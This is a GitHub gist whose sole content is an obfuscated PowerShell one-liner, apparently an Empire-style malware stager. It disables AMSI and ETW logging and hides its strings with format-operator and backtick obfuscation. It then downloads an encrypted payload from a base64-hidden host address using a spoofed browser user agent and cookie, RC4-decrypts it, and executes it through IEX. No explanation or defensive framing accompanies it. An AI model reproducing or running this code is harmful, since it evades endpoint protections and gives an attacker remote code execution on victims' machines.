Skip to content

Instantly share code, notes, and snippets.

@CarlosLannister
Created April 18, 2022 12:49
Show Gist options
  • Save CarlosLannister/9b31b31b6fa5d88adca4c8cf286bf6c1 to your computer and use it in GitHub Desktop.
Save CarlosLannister/9b31b31b6fa5d88adca4c8cf286bf6c1 to your computer and use it in GitHub Desktop.
sEt ('r8'+'q2k'+'F') ( [TypE]("{3}{8}{5}{11}{4}{0}{9}{7}{1}{10}{2}{6}"-F 'n','rO','Id','s','NTInG.Eve','.','Er','p','ysTem.DIAGNostICS','T','v','Eve')) ; $ROF= [type]("{1}{0}"-f 'f','re'); SEt-vAriABle ('2e'+'kVY'+'l') ( [tyPE]("{5}{1}{2}{6}{4}{3}{0}"-F 'er','YSTEm.ne','t.SerV','iNtMANag','EPo','S','iC') ); seT 3nfjqD ([tYpE]("{2}{0}{1}{3}"-f'exT.EncODi','n','t','G')); SET-IteM ("V"+"A"+"riAblE:Smd"+"x") ( [tYpe]("{1}{0}"-F 'ERT','ConV') ) ; sEt-itEM ("vAri"+"ABLe"+":8W5") ( [tYpE]("{0}{1}{4}{2}{3}"-f 'S','Y','wEbReQuE','st','StEM.nET.') ); sEt-item ("Var"+"IAbLe:"+"B4"+"MS"+"p7") ( [tyPe]("{3}{6}{5}{7}{2}{4}{1}{0}"-f'e','caCH','dENti','sYSTem.N','AL','.C','et','rE') ) ; sET-iTem VariAble:ZxC4w ( [tyPe]("{4}{5}{6}{3}{1}{0}{2}" -f'.en','t','codiNg','.tEx','Sy','S','tEM'));If(${psVe`RsIO`NT`AB`Le}."PS`VEr`siOn"."Maj`oR" -ge 3){${r`Ef}= (gI vArIAbLe:roF ).vaLUE."aS`SemB`LY".("{1}{0}" -f 'tType','Ge').Invoke(("{5}{6}{1}{3}{0}{4}{7}{8}{2}"-f'emen','a','tils','nag','t.A','Syst','em.M','utomati','on.AmsiU'));${r`EF}.("{0}{2}{1}" -f'G','d','etFiel').Invoke(("{0}{3}{1}{2}"-f'amsiIn','Fail','ed','it'),("{3}{0}{2}{1}" -f 'Publ','tic','ic,Sta','Non')).("{1}{0}"-f 'etvalue','S').Invoke(${nu`Ll},${Tr`UE}); (VARIaBlE ('R8'+'Q2k'+'f') ).vaLUe.("{1}{0}" -f'etField','G').Invoke(("{0}{1}" -f'm_en','abled'),("{0}{2}{1}{3}" -f'NonPub','nstan','lic,I','ce'))."s`E`TvALUE"( ( iTEM VARIaBLe:ROf ).vALUe."aSs`Emb`lY".("{0}{1}"-f 'GetTy','pe').Invoke(("{8}{7}{2}{9}{3}{0}{1}{10}{4}{5}{6}" -f'toma','tio','stem','anagement.Au','Tracing.PSE','twLogProv','ider','y','S','.M','n.')).("{0}{1}{2}"-f 'Get','Fiel','d').Invoke(("{2}{3}{0}{1}"-f'e','r','etw','Provid'),("{3}{2}{1}{0}"-f'c','blic,Stati','onPu','N')).("{1}{0}"-f 'Value','Get').Invoke(${n`ULL}),0);}; ( GeT-itEm ('va'+'RIAbl'+'E'+':2eKvyl') ).VALuE::"ex`p`ecT100cON`TINue"=0;${w`c}=&("{1}{2}{0}" -f't','New-Obje','c') ("{1}{3}{2}{0}{4}"-f'ebC','Syste','.W','m.Net','lient');${U}=("{1}{2}{0}{8}{6}{9}{4}{10}{5}{7}{3}" -f'1; W','Mozilla/5.0 ','(Windows NT 6.','cko','ent/7.0; rv','like','64; ',' Ge','OW','Trid',':11.0) ');${s`er}=$( $3NFjqD::"u`NiCo`de"."Ge`T`String"( (vaRiAbLE ('s'+'MDx') -VALu )::("{3}{2}{4}{1}{0}"-f'Ng','Ri','roMBas','F','e64ST').Invoke(("{10}{0}{9}{11}{5}{2}{8}{3}{1}{7}{6}{4}"-f 'H','AzADo','kANwAu','A','zADQAMAA=','AyADAAOQAuAD','QA','AM','ADEANAAxAC4AN','QAcAA6AC8A','aAB0A','Lw'))));${t}=("{2}{0}{1}"-f 'ews.','php','/n');${W`c}."hEa`d`eRS".("{0}{1}"-f'Ad','d').Invoke(("{2}{1}{0}"-f'ent','g','User-A'),${u});${W`C}."P`Roxy"= (childItEm ("vaRI"+"ABle"+":8W5")).VALue::"D`efauLt`w`EbP`RoXy";${W`C}."pR`oXy"."cREdent`I`AlS" = (vArIAbLE ('b'+'4Ms'+'p7') -VaLueoNL )::"d`e`FAULtn`eTWOrKcrED`enT`Ials";${ScrIp`T:`pr`oxy} = ${Wc}."p`Roxy";${K}= (CHiLDIteM varIABlE:zXC4w).vAluE::"AS`cii".("{1}{0}{2}" -f'B','Get','ytes').Invoke((((("{1}{6}{8}{7}{2}{4}{0}{3}{5}" -f'4Gf','jW=g','9(','#;','~?','s6{0}mc&LYa-0r%','B','z@','pl!')) -F[ChaR]124)));${R}={${D},${k}=${a`RGS};${S}=0..255;0..255|&('%'){${J}=(${j}+${s}[${_}]+${K}[${_}%${k}."CoU`NT"])%256;${S}[${_}],${s}[${j}]=${S}[${J}],${s}[${_}]};${D}|.('%'){${i}=(${i}+1)%256;${h}=(${H}+${s}[${I}])%256;${S}[${I}],${s}[${H}]=${S}[${h}],${S}[${i}];${_}-bxor${s}[(${s}[${i}]+${S}[${h}])%256]}};${Wc}."H`EaDERs".("{1}{0}" -f'dd','A').Invoke(("{0}{1}" -f'Coo','kie'),("{1}{3}{7}{2}{8}{4}{6}{11}{5}{9}{0}{10}"-f '9PfM','q','O','wOoyQBTpq','EoKOjP','9Y','3QlAI','EnkW=k','gJ','AY5','=','Yrn'));${d`AtA}=${wC}.("{1}{2}{0}" -f 'loadData','Do','wn').Invoke(${s`ER}+${T});${iv}=${d`ATa}[0..3];${D`ATa}=${DA`Ta}[4..${Da`Ta}."LEN`gtH"];-join[Char[]](& ${r} ${Da`Ta} (${i`V}+${k}))|.("{1}{0}" -f'X','IE')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment